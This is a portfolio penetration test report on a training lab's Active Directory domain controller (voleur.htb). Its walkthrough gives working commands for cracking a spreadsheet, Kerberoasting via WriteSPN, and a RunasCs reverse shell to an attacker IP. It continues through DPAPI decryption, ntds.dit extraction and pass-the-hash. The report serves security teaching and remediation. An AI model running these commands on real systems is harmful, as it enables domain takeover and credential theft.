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1 Portfolio Use & Disclaimer 
This  report  is  provided  as  a  portfolio  sample to  demonstrate  penetration  testing  methodology,
technical writing, risk communication, and remediation planning.

The  assessment  described  herein  was  performed  against  a  deliberately  vulnerable  training
environment intended  for  educational  use.  The  target  system  represents  a  simulated  client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts
Assessor Contact 

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary
This  assessment  was  conducted  by  Joe  Thompson  as  a  network  penetration  test  of  a  simulated
Windows  Active  Directory  environment  hosted  at  10.129.232.130  (DC.voleur.htb).  Testing  was
performed  using  a  grey-box  approach;  initial  credentials  for  a  low-privileged  domain  account
( ryan.naylor ) were provided to represent the foothold available to an attacker following a phishing or
credential-stufÏng compromise of a standard user account.

3.1 Approach
Joe Thompson performed testing using a grey-box approach, with initial credentials for  ryan.naylor
provided  as  the  starting  position.  The  assessment  targeted  a  Kerberos-only  Active  Directory
environment  where  NTLM  authentication  was  disabled,  requiring  all  tooling  to  be  configured  for
Kerberos authentication before any SMB or LDAP operations could proceed.

Testing progressed through a chain of  credential  recovery,  Active Directory enumeration,  targeted
Kerberoasting, three-stage lateral movement, and a final privilege escalation using backup copies of
the AD database accessible via a WSL-hosted SSH service.

3.2 Scope
The scope of this assessment included the host  10.129.232.130  (DC.voleur.htb, voleur.htb).  Testing
covered all services accessible at the target IP from the provided starting credentials.

In Scope Assets
Asset Type Description

Domain Controller 10.129.232.130  (DC.voleur.htb)

Domain voleur.htb — Windows Active Directory (Kerberos-only)

SMB Share IT share — accessible with provided ryan.naylor credentials

WinRM Port 5985 — used for initial foothold as svc_winrm

SSH (WSL) Port 2222 — Ubuntu WSL instance on the DC

3.3 Assessment Overview and Recommendations
During this assessment, Joe Thompson identified 4 security findings that, when chained, enabled full
domain compromise from the provided low-privileged starting position. The findings include 1 critical-
risk finding, 1 high-risk finding, and 2 medium-risk findings.

The IT SMB share accessible to ryan.naylor  contained a password-protected Excel spreadsheet. The
spreadsheet password was cracked with  office2john  and  john , revealing the password  football1 .
The unlocked file contained cleartext credentials for multiple domain accounts in a notes column,
including  svc_ldap  and  svc_iis .  BloodHound enumeration revealed that  svc_ldap  had  WriteSPN
over svc_winrm , allowing assignment of a Service Principal Name followed by targeted Kerberoasting.
The recovered svc_winrm  password provided WinRM access and the user flag.
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Lateral  movement  proceeded  through  three  stages.  RunasCs.exe  was  used  to  run  commands  as
svc_ldap ,  which held membership in a group with AD Recycle Bin restore rights. The deleted user
todd.wolfe  — whose credentials appeared in the spreadsheet as inactive — was restored from the
Recycle Bin. Accessing the IT share as todd.wolfe  exposed an archived user profile containing a DPAPI
master key and encrypted credential blob. Decrypting the blob with impacket-dpapi  and todd.wolfe 's
known password yielded credentials for jeremy.combs . The IT share as jeremy.combs  contained an RSA
private key and a note describing an in-progress WSL setup; the key comment identified svc_backup  as
the intended user. SSH to the WSL listener on port 2222 as svc_backup  provided access to the Windows
filesystem via  /mnt/c , where backup copies of  ntds.dit ,  SYSTEM , and SECURITY  were found in an IT
support folder. secretsdump  extracted the administrator hash for a pass-the-hash session and the root
flag.

Key recommendations  include removing cleartext  credentials  from SMB-accessible  files,  restricting
WriteSPN  delegation  rights,  securing  the  WSL  SSH  service  with  appropriate  access  controls,  and
ensuring backup copies of the AD database are stored with access equivalent to the live NTDS.dit.
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4 Network Penetration Test Assessment
Summary
Joe  Thompson  conducted  testing  from  the  starting  position  of  a  provided  low-privileged  domain
account. The environment used Kerberos-only authentication with NTLM disabled, requiring Kerberos-
aware tooling throughout. Testing progressed through credential recovery from a shared spreadsheet,
WriteSPN Kerberoasting for initial foothold, three-stage lateral movement via AD Recycle Bin restore,
DPAPI decryption, and WSL SSH key discovery, culminating in domain compromise via an accessible
backup copy of the AD database.

4.1 Summary of Findings
During testing, Joe Thompson identified 4 findings that present varying levels of risk to the assessed
environment.  In  addition,  0  informational  observations  were  noted  which,  while  not  representing
direct  vulnerabilities,  highlight  opportunities  to  further  improve  overall  security  posture  and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 1 Critical, 1 High and 2 Medium vulnerabilities were identified: 

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report. 
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# Severity Level Finding Name Page

1 9.9 (Critical) svc_backup WSL Account Can Read NTDS.dit Backup via /mnt/c
Enabling OfÒine Domain Hash Extraction 27

2 8.1 (High) svc_ldap Holds WriteSPN Over svc_winrm Enabling Targeted
Kerberoasting 30

3 6.5 (Medium) Archived User Profile on SMB Share Exposes DPAPI Credential
Material Decryptable with Known Password 33

4 6.5 (Medium) IT SMB Share Contains Cleartext Credentials in a Weakly-
Protected Spreadsheet 35
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5 Internal Network Compromise Walkthrough
During the assessment,  Joe Thompson chained credential  recovery from a protected spreadsheet,
targeted Kerberoasting via  WriteSPN abuse,  and three stages of  lateral  movement  to  achieve full
domain  compromise  from  the  provided  low-privileged  starting  account.  The  walkthrough  below
documents  the  successful  attack  path  and  does  not  represent  all  vulnerabilities  identified  during
testing.

Any  issues  not  required  to  achieve  compromise  are  documented  as  standalone  findings  in  the
Technical Findings Details section and ranked by severity.

5.1 Detailed Walkthrough
Joe Thompson performed the following to fully compromise the voleur.htb domain.

Performed network enumeration — DC confirmed (voleur.htb); SMBv2 negotiation failure observed,
indicating NTLM disabled; SSH on port 2222 with Ubuntu banner suggesting WSL; WinRM on 5985
Configured Kerberos environment via NXC --generate-krb5-file ; confirmed
ryan.naylor:HollowOct31Nyt via Kerberos SMB; connected to IT share; downloaded password-
protected Access_Review.xlsx
Cracked spreadsheet password with office2john  and john  — password football1 ; unlocked file
contained cleartext credentials for svc_ldap, svc_iis, and todd.wolfe (inactive) in the notes column
Ran RustHound to collect BloodHound data; identified svc_ldap with WriteSPN over svc_winrm;
assigned SPN via bloodyAD; Kerberoasted with NXC; cracked hash with Hashcat —
svc_winrm:AFireInsidedeOzarctica980219afi
Obtained TGT for svc_winrm via getTGT.py; established evil-winrm session; retrieved user flag
Identified svc_ldap group membership with AD Recycle Bin restore rights in BloodHound;
transferred RunasCs.exe via HTTP; spawned reverse shell as svc_ldap; enumerated Recycle Bin —
todd.wolfe found; Restore-ADObject restored the account; validated
todd.wolfe:NightT1meP1dg3on14 via Kerberos
Connected to IT share as todd.wolfe — NXC spider_plus revealed DPAPI master key and credential
blob in archived profile; downloaded both via smbclient; decrypted master key with impacket-
dpapi; decrypted credential blob — jeremy.combs:qT3V9pLXyN7W4m
Connected to IT share as jeremy.combs — found id_rsa and Note.txt; SSH as jeremy.combs denied;
ssh-keygen on key revealed svc_backup@DC as key comment; SSH as svc_backup on port 2222
succeeded
Inside WSL, /mnt/c  exposed the Windows filesystem; located backup copies of ntds.dit, SYSTEM,
and SECURITY in IT/third-line support/backups; SCP'd files to attack box; secretsdump recovered
administrator hash; psexec delivered SYSTEM shell; root flag retrieved

1. Network Enumeration

A full TCP port scan was performed, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.232.130 -oA TCP_allports
ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.232.130

1. 

2. 

3. 

4. 

5. 
6. 

7. 

8. 

9. 
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Key observations: Kerberos (88) and LDAP (389/3268) confirmed voleur.htb  and hostname DC . Nmap
reported SMBv2 negotiation failure despite port 445 being open — a reliable indicator that NTLM is
disabled and only Kerberos authentication is accepted. SSH on port 2222 returned an Ubuntu banner
on a Windows DC, strongly suggesting a WSL instance. WinRM (5985) was open and would be usable
once  valid  credentials  were  obtained.  /etc/hosts  entries  were  added  and  the  local  clock  was
synchronised with the DC via ntpdate .

2. Kerberos Configuration and SMB Enumeration

Standard NXC without the Kerberos flag failed authentication:

Adding -k  switched NXC to Kerberos and confirmed the provided credentials:

Share enumeration showed the IT  share with READ access:

Direct  smbclient  connections failed until the local Kerberos configuration was generated. NXC's  --
generate-krb5-file  flag produced a working krb5.conf  identifying the KDC:

nxc smb 10.129.232.130 --generate-krb5-file voleur.krb
sudo cp voleur.krb /etc/krb5.conf

With the Kerberos config in place, smbclient connected to the IT share. A First-Line Support  folder
contained Access_Review.xlsx :

ARCHWARDEN

Joe Thompson Voleur 11



Opening the file prompted for a password:

3. Excel Password Crack and Credential Recovery

The hash was extracted with office2john  and cracked with John against rockyou:

office2john Access_Review.xlsx > excel.hash.txt
john excel.hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Password: football1

The unlocked spreadsheet contained usernames, job titles, permission levels, and a notes column with
plaintext credentials:
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Todd.Wolfe:NightT1meP1dg3on14  (account inactive)
svc_ldap:M1XyC9pW7qT5Vn
svc_iis:N5pXyW1VqM7CZ8

NXC confirmed  svc_ldap  and  svc_iis  credentials were valid via Kerberos.  todd.wolfe 's credentials
did not authenticate, consistent with the spreadsheet noting the account as inactive:

4. BloodHound Enumeration and WriteSPN Kerberoasting

RustHound collected BloodHound data using the starting credentials:

rusthound-ce -d voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -o ./bh -z
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After marking owned principals and exploring outbound paths, svc_ldap  was found to have WriteSPN
over svc_winrm :
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WriteSPN  allows assigning a Service Principal Name to the target account. Once a valid SPN exists, the
account  becomes  Kerberoastable  —  the  KDC  will  issue  a  TGS-REP  encrypted  with  the  account's
password hash, which can be cracked ofÒine.

A new SPN was assigned to svc_winrm  using svc_ldap 's credentials:

bloodyAD --host 10.129.232.130 -d voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' \
  -k set object 'svc_winrm' servicePrincipalName -v 'http/pwned'

The account was Kerberoasted via NXC LDAP:

nxc ldap DC.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k --kerberoast kerberoast.out

Hashcat (mode 13100) cracked the TGS-REP hash:
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Credentials recovered: svc_winrm:AFireInsidedeOzarctica980219afi

5. WinRM Foothold — svc_winrm

Because  the  environment  uses  Kerberos-only  authentication,  a  TGT  was  obtained  for  svc_winrm
before connecting via WinRM. The KRB5CCNAME  environment variable directed evil-winrm  to use the
cached ticket:

getTGT.py 'voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi'
KRB5CCNAME=svc_winrm.ccache evil-winrm -i dc.voleur.htb -r voleur.htb
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6. Lateral Movement — AD Recycle Bin Restore of todd.wolfe

BloodHound confirmed svc_ldap  was a member of a group holding AD Recycle Bin restore rights:

RunasCs.exe  was transferred from the attack box to the WinRM session via a Python HTTP server and
used to spawn a reverse shell as svc_ldap :
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# On the WinRM session:
wget http://10.10.16.60:8001/RunasCs.exe -o runascs.exe
.\runascs.exe svc_ldap M1XyC9pW7qT5Vn powershell.exe -r 10.10.16.60:9001

Deleted user objects were enumerated from the svc_ldap shell:

Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects

todd.wolfe  was present in the Recycle Bin. It was restored using its object GUID:

Restore-ADObject -Identity 1c6b1deb-c372-4cbb-87b1-15031de169db

NXC confirmed todd.wolfe 's credentials were now valid via Kerberos:

7. Lateral Movement — DPAPI Credential Decryption via todd.wolfe

Connecting to the IT share as  todd.wolfe  exposed a Second-Line Support folder not accessible to
ryan.naylor :
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NXC's  spider_plus  module  was  used to  enumerate  all  paths  accessible  to  todd.wolfe .  The  JSON
output revealed DPAPI material in an archived profile:

Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/
  Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88
  credentials/772275FAD58525253490A9B0039791D3

The  Protect  folder  contained  a  DPAPI  master  key  tied  to  todd.wolfe 's  SID  and  password.  The
credentials  folder contained an encrypted credential blob. Both were downloaded via smbclient:

The master key was decrypted using todd.wolfe 's SID and known password:
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impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 \
  -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14

The decrypted key was used to decrypt the credential blob:

impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 \
  -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879...

Credentials recovered: jeremy.combs:qT3V9pLXyN7W4m

8. Lateral Movement — WSL SSH Key Discovery via jeremy.combs

The IT share as jeremy.combs  contained two files: a note and an RSA private key:

The note described an in-progress WSL configuration intended to enable Linux-based backup tooling.
The RSA private key was downloaded. Attempting to SSH as jeremy.combs  was denied:
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Running ssh-keygen  against the key file revealed the key comment, identifying the intended account:

ssh-keygen -y -f ./id_rsa

The comment read svc_backup@DC . SSH as svc_backup  on the WSL listener port 2222 succeeded:

ssh -i id_rsa svc_backup@10.129.232.130 -p 2222
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9. Privilege Escalation — ntds.dit Extraction via WSL and Domain Compromise

Inside the WSL session,  /mnt/c  provided direct access to the Windows  C:\  drive. Enumerating the
mounted filesystem revealed backup files under the IT folder:
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/mnt/c/IT/third-line support/backups/Active Directory/ntds.dit
/mnt/c/IT/third-line support/backups/Active Directory/ntds.jfm
/mnt/c/IT/third-line support/backups/registry/SECURITY
/mnt/c/IT/third-line support/backups/registry/SYSTEM

All four files were transferred to the attack box via SCP:

scp -i id_rsa -P 2222 -r svc_backup@10.129.232.130:"/mnt/c/IT/third-line support/backups" .

secretsdump  extracted all domain hashes ofÒine:

secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit local

Administrator NT hash: e656e07c56d831611b577b160b259ad2

A pass-the-hash session was established via psexec:

psexec.py -hashes :e656e07c56d831611b577b160b259ad2 -k \
'voleur.htb/administrator@dc.voleur.htb'
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6 Remediation Summary
The findings from this assessment represent a chain of four weaknesses spanning credential storage,
Active Directory delegation rights, DPAPI material exposure, and backup access controls. Remediation
actions are prioritised by the severity and enablement role of each finding within the attack chain.

6.1 Short Term
SHORT TERM REMEDIATION:

Restrict access to the WSL SSH service on port 2222. The svc_backup  account should not be
reachable from the network via SSH unless that is an explicit operational requirement. If WSL SSH
access is needed for backup automation, restrict the listener to localhost or a specific management
IP and enforce host key verification. Immediately rotate the private key that was discoverable in the
IT share, as it is now compromised.
Remove the ntds.dit backup from the Windows filesystem path accessible via WSL. NTDS.dit
backups must be treated as equivalent in sensitivity to the live AD database. Store them with
equivalent access controls — ofÒine media, encrypted storage, or a dedicated backup
infrastructure — not in a folder readable by a service account with WSL filesystem access.
Remove the cleartext credentials from Access_Review.xlsx  immediately and rotate all passwords
that were documented there. Credential data should never be stored in a spreadsheet, particularly
one placed on a network share.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

Review and remove the WriteSPN  delegation right from svc_ldap  over svc_winrm . WriteSPN allows
any account holding it to make arbitrary accounts Kerberoastable. Delegation rights in Active
Directory should follow the principle of least privilege and be reviewed periodically via BloodHound
or equivalent tooling. Ensure that service accounts do not have unnecessary GenericWrite,
WriteSPN, or GenericAll permissions over each other.
Enforce strong password requirements for all service accounts and enable AES encryption for
Kerberos service tickets. Accounts with weak passwords that use RC4 encryption for TGS-REP
responses are trivially crackable ofÒine once Kerberoasted. Service accounts should use passwords
of at least 30 characters or be managed via Group Managed Service Accounts (gMSA) which rotate
automatically.
Purge archived user profiles from the IT share and implement a documented offboarding process
that removes user profile data from all accessible shares when an account is decommissioned.
DPAPI credential material in an archived profile is decryptable using the account's last known
password, making any shared archive a potential credential store.

• 

• 

• 

• 

• 

• 
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6.3 Long Term
LONG TERM REMEDIATION:

Implement Managed Service Accounts or Group Managed Service Accounts for all service accounts.
gMSA passwords are 240-character random strings rotated automatically by the domain,
eliminating the password cracking vector entirely. They cannot be Kerberoasted to a crackable
hash.
Conduct a full BloodHound audit of Active Directory delegation rights and attack paths. The
WriteSPN edge from svc_ldap to svc_winrm represents a class of misconfiguration that frequently
accumulates over time through legacy access grants. A quarterly BloodHound review with
automatic alerting on new dangerous edges (WriteSPN, GenericAll, GenericWrite, Owns) against
tier-0 and service accounts should be established as an ongoing control.
Define and enforce a backup access control policy. Backup copies of AD data (NTDS.dit, SYSTEM,
SECURITY) should be subject to the same access tier as the live Domain Controller. Access should be
restricted to backup administrators with MFA-protected privileged access workstations, not
accessible via a WSL service account's mounted filesystem.

• 

• 

• 
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7 Technical Findings Details

1. svc_backup WSL Account Can Read NTDS.dit Backup via /
mnt/c Enabling OfÒine Domain Hash Extraction - Critical

CWE CWE-284 - Improper Access Control

CVSS 3.1 9.9 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Root Cause

The  svc_backup  account is  reachable via an SSH listener on port  2222 running
inside a WSL instance on the domain controller. The WSL session has the Windows
filesystem mounted at /mnt/c , granting read access to the Windows C:\  drive. A
manually created backup of  ntds.dit ,  ntds.jfm ,  SYSTEM , and SECURITY  is stored
in  C:\IT\third-line support\backups\ .  svc_backup  can read these files directly
via  /mnt/c  and transfer them via SCP.  secretsdump  extracts all domain password
hashes from the ofÒine files, providing the administrator NT hash for a pass-the-
hash session.

Impact

Full  domain compromise. All  Active Directory password hashes extracted ofÒine
from the NTDS.dit backup. The administrator hash was used for a pass-the-hash
session via psexec,  delivering NT AUTHORITY\SYSTEM on the domain controller
and the root flag.

Affected
Component

WSL SSH service — port 2222 — svc_backup account accessible via network
SSH
C:\IT\third-line support\backups\ — ntds.dit, SYSTEM, SECURITY readable via /
mnt/c

Remediation

Immediately remove the ntds.dit backup from the Windows filesystem and store it
in an access-controlled location with security equivalent to the live NTDS.dit (ofÒine
encrypted media or dedicated backup infrastructure). Restrict the WSL SSH listener
so that it is not accessible from the network — bind it to localhost only or disable it
entirely if WSL SSH is not an operational requirement. Rotate the svc_backup  RSA
private key; the key that was stored in the IT share is now compromised. If WSL is
needed  for  backup  automation,  access  should  be  restricted  to  a  dedicated
management network with MFA and host-based access controls.

References https://attack.mitre.org/techniques/T1003/003/

Finding Evidence
Inside the WSL session, /mnt/c  gave read access to the Windows drive. A find command revealed the
backup files:

• 

• 
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The files were transferred to the attack box via SCP and fed to secretsdump:

The administrator hash was used for a pass-the-hash session, delivering NT AUTHORITY\SYSTEM:
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2. svc_ldap Holds WriteSPN Over svc_winrm Enabling
Targeted Kerberoasting - High

CWE CWE-732 - Incorrect Permission Assignment for Critical Resource

CVSS 3.1 8.1 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Root Cause

The svc_ldap  service account has the WriteSPN  right over the svc_winrm  account
in Active Directory. WriteSPN  allows modifying the servicePrincipalName  attribute
on the target object. Adding a valid SPN to svc_winrm  makes it Kerberoastable: the
KDC will  issue a TGS-REP encrypted with  svc_winrm 's  password hash when any
user requests a ticket for the new SPN. The hash was cracked ofÒine with Hashcat
to recover svc_winrm 's password in cleartext.

Impact
Recovery of plaintext credentials for svc_winrm  and WinRM access to the domain
controller. The  svc_winrm  account provided the user flag and an interactive shell
used to launch subsequent lateral movement steps.

Affected
Component

Active Directory — svc_ldap: WriteSPN over svc_winrm
svc_winrm — weak password crackable from Kerberos TGS-REP hash

Remediation

Remove  the  WriteSPN  right  from  svc_ldap  over  svc_winrm .  Service  accounts
should not hold delegation rights over other accounts unless there is a specific
documented operational requirement. Conduct a BloodHound review to identify
any other WriteSPN, GenericWrite, or GenericAll edges between service accounts
and remediate them. For svc_winrm , migrate to a Group Managed Service Account
(gMSA) so its password is automatically managed as a 240-character random string
that cannot be cracked.

References
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/
kerberoast
https://specterops.io/blog/2022/06/21/blood-on-the-vine/

Finding Evidence
BloodHound identified the WriteSPN edge from svc_ldap  to svc_winrm :

• 
• 

• 

• 
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A new SPN was assigned to svc_winrm  using bloodyAD:

The account was Kerberoasted and the TGS-REP hash cracked:
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3. Archived User Profile on SMB Share Exposes DPAPI
Credential Material Decryptable with Known Password - 
Medium

CWE CWE-312 - Cleartext Storage of Sensitive Information

CVSS 3.1 6.5 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Root Cause

The IT share contains an archived user profile for  todd.wolfe  including a DPAPI
master key file and an encrypted credential blob in the AppData\Roaming\Microsoft
\Protect  and credentials  paths respectively. DPAPI master keys are protected by
the account's password and SID. Because  todd.wolfe 's password was recovered
from the spreadsheet (Finding 1),  both the master key and the credential  blob
could be decrypted ofÒine using  impacket-dpapi .  The decrypted blob contained
plaintext credentials for jeremy.combs .

Impact

Plaintext  credentials  for  jeremy.combs  recovered ofÒine without  any interaction
with the live domain. These credentials provided access to a third section of the IT
share containing the RSA private key that enabled SSH access to the WSL service
account.

Affected
Component

IT share — Second-Line Support/Archived Users/todd.wolfe/ — DPAPI master key
and credential blob

Remediation

Remove  archived  user  profile  data  from  the  IT  share.  When  accounts  are
decommissioned, profile data should be securely deleted rather than archived to a
shared location. If archiving is required for operational or compliance reasons, the
archive must not be stored in a location accessible to other domain users. Note
that DPAPI credentials archived with the profile remain decryptable indefinitely as
long as the original password is known — the only mitigation is deletion of the
DPAPI material.

References https://github.com/fortra/impacket/blob/master/examples/dpapi.py

Finding Evidence
spider_plus  enumeration as todd.wolfe  revealed the DPAPI paths:

The master key and credential blob were downloaded via smbclient:
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The master key was decrypted and used to decrypt the credential blob:
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4. IT SMB Share Contains Cleartext Credentials in a Weakly-
Protected Spreadsheet - Medium

CWE CWE-312 - Cleartext Storage of Sensitive Information

CVSS 3.1 6.5 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Root Cause

The  IT  SMB share  accessible  to  domain  users  contains  Access_Review.xlsx ,  a
password-protected Excel spreadsheet. The file password ( football1 ) was trivially
cracked  from a  rockyou wordlist  in  seconds  using  office2john  and  john .  The
unlocked spreadsheet contained plaintext credentials for three domain accounts
—  svc_ldap ,  svc_iis ,  and  todd.wolfe  — in a notes column. These credentials
directly enabled Kerberoasting, lateral movement via AD Recycle Bin restore, and
subsequent DPAPI credential decryption.

Impact

Recovery  of  plaintext  credentials  for  svc_ldap  and  svc_iis .  The  svc_ldap
credentials enabled WriteSPN abuse to Kerberoast svc_winrm  for initial foothold. t
odd.wolfe 's password (recovered from the spreadsheet) was later used to decrypt
DPAPI credential material, progressing lateral movement to jeremy.combs .

Affected
Component IT SMB share — Access_Review.xlsx — credentials in plaintext in notes column

Remediation

Remove  the  credentials  from  Access_Review.xlsx  immediately  and  rotate  all
passwords documented there. Credential data must not be stored in spreadsheets,
documents, or any file on a network share. Use a password manager or dedicated
privileged access management (PAM) solution for secure credential storage and
sharing. Access reviews should document account permissions without embedding
passwords. Additionally, review the IT share for any other files containing sensitive
information.

References https://owasp.org/www-community/vulnerabilities/
Insecure_Storage_of_Sensitive_Information

Finding Evidence
The password was cracked from the spreadsheet hash:

The unlocked file revealed credentials in the notes column:
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The credentials were confirmed valid for svc_ldap  and svc_iis  via Kerberos authentication:
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A Appendix

A.1 Finding Severities
Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range

Critical 9.0 – 10.0

High 7.0 – 8.9

Medium 4.0 – 6.9

Low 0.1 – 3.9

Info 0.0
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A.2 Host & Service Discovery
IP Address Port Service Notes

10.129.232.130 53 DNS Simple DNS Plus

10.129.232.130 88 Kerberos Microsoft Windows Kerberos

10.129.232.130 135 RPC Microsoft Windows RPC

10.129.232.130 139 NetBIOS Microsoft Windows netbios-ssn

10.129.232.130 389 LDAP Microsoft Windows AD LDAP (Domain: voleur.htb)

10.129.232.130 445 SMB Kerberos-only; NTLM disabled

10.129.232.130 464 kpasswd5 Kerberos password change

10.129.232.130 593 RPC/HTTP Microsoft Windows RPC over HTTP 1.0

10.129.232.130 636 LDAPS LDAP over SSL

10.129.232.130 2222 SSH OpenSSH 8.2p1 Ubuntu — WSL instance

10.129.232.130 3268 LDAP GC Microsoft Windows AD LDAP — Global Catalog

10.129.232.130 5985 WinRM Microsoft HTTPAPI httpd 2.0

10.129.232.130 9389 mc-nmf .NET Message Framing
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A.3 Subdomain Discovery
URL Description Discovery Method

voleur.htb Primary domain — DC LDAP domain discovery

dc.voleur.htb Domain controller LDAP hostname enumeration
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A.4 Exploited Hosts
Host Scope Method Notes

DC.voleur.htb
(10.129.232.130)

Intern
al

Excel password crack → svc_ldap creds →
WriteSPN Kerberoast

WinRM as svc_winrm;
user flag

DC.voleur.htb
(10.129.232.130)

Intern
al

RunasCs → svc_ldap → AD Recycle Bin →
DPAPI → WSL SSH SSH as svc_backup

DC.voleur.htb
(10.129.232.130)

Intern
al

ntds.dit backup via WSL /mnt/c →
secretsdump → psexec

NT
AUTHORITY\SYSTEM;
root flag
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A.5 Compromised Users
Username Type Method Notes

ryan.naylor Domain user Provided starting credentials SMB share access;
BloodHound collection

svc_ldap Service account Cleartext credentials in
Access_Review.xlsx

WriteSPN abuse; AD Recycle
Bin restore

svc_winrm Service account WriteSPN → Kerberoasting →
hash crack WinRM shell; user flag

todd.wolfe Domain user
(restored)

AD Recycle Bin restore via
svc_ldap group rights DPAPI credential decryption

jeremy.com
bs Domain user DPAPI master key + credential

blob decryption WSL SSH key discovery

svc_backup Service account id_rsa private key from
jeremy.combs share

WSL SSH access; ntds.dit
read

Administrat
or

Domain
administrator

secretsdump ofÒine from ntds.dit
backup

Full domain compromise;
root flag
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A.6 Changes/Host Cleanup
Host Scope Change / Cleanup Needed

DC.voleur.
htb AD SPN assigned to svc_winrm should be removed if not already cleaned

(bloodyAD cleanup was run)

DC.voleur.
htb AD todd.wolfe was restored from Recycle Bin — re-delete if cleanup script has

not run

DC.voleur.
htb

Filesyste
m RunasCs.exe transferred to C:\Users\svc_winrm — should be removed
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A.7 Flags Discovered
Flag
# Host Flag Value Flag Location Method Used

1 DC.vole
ur.htb

716f25d45d4235
03e4065c61ca9e
a2cf

C:
\Users\svc_winrm\D
esktop\user.txt

ryan.naylor → Excel crack → svc_ldap →
WriteSPN → Kerberoast svc_winrm →
evil-winrm

2 DC.vole
ur.htb

0f033fa27e5a97
374ada7b614ac0
9f9b

C:
\Users\Administrat
or\Desktop\root.txt

svc_ldap → todd.wolfe → DPAPI →
jeremy.combs → svc_backup → ntds.dit
→ secretsdump → psexec
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End of Report 
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